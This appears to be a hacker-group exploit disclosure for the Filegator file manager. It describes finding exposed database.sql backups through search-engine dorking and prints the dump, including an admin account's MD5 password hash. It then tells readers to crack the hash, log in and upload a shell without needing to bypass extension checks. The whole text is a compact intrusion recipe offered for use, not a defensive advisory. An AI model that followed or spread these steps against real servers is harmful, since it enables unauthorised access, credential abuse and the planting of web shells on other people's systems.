#################################
# Exploit Title: Filegator DatabaseSQL Backup Disclosure
# Author Bug: L4663r666h05t x Indonesian Code Party
# Vendor: https://www.file-gator.com/
#################################
Dorking in yandex,google, or bing
Backup path:
http://localhost/database.sql
http://localhost/path/database.sql
Demo:
https://www.file-gator.com/gator/m/database.sql
File:database.sql
------------------------------------------------
CREATE TABLE IF NOT EXISTS `users` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL DEFAULT '',
`password` varchar(255) NOT NULL DEFAULT '',
`permissions` varchar(10) NOT NULL DEFAULT '',
`homedir` varchar(1000) NOT NULL DEFAULT '',
`email` varchar(255) NOT NULL DEFAULT '',
`akey` varchar(255) NOT NULL DEFAULT '',
`usage` bigint(20) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`),
KEY `akey` (`akey`)
) ENGINE=InnoDB AUTO_INCREMENT=20 DEFAULT CHARSET=utf8;
DELETE FROM `users`;
INSERT INTO `users` (`id`, `username`, `password`, `permissions`, `homedir`, `email`, `akey`, `usage`) VALUES
(1, 'admin', '0192023a7bbd73250516f069df18b500', 'rwu', '', '', '', NULL),
(2, 'guest', '', 'r', '', '', '', NULL);
------------------------------------------------
Decrypt hash & login in http://localhost/?cd= or http://localhost/path/?cd=
Upload your shell, no need bypass extension~
IndonesianCode.Party~
#################################
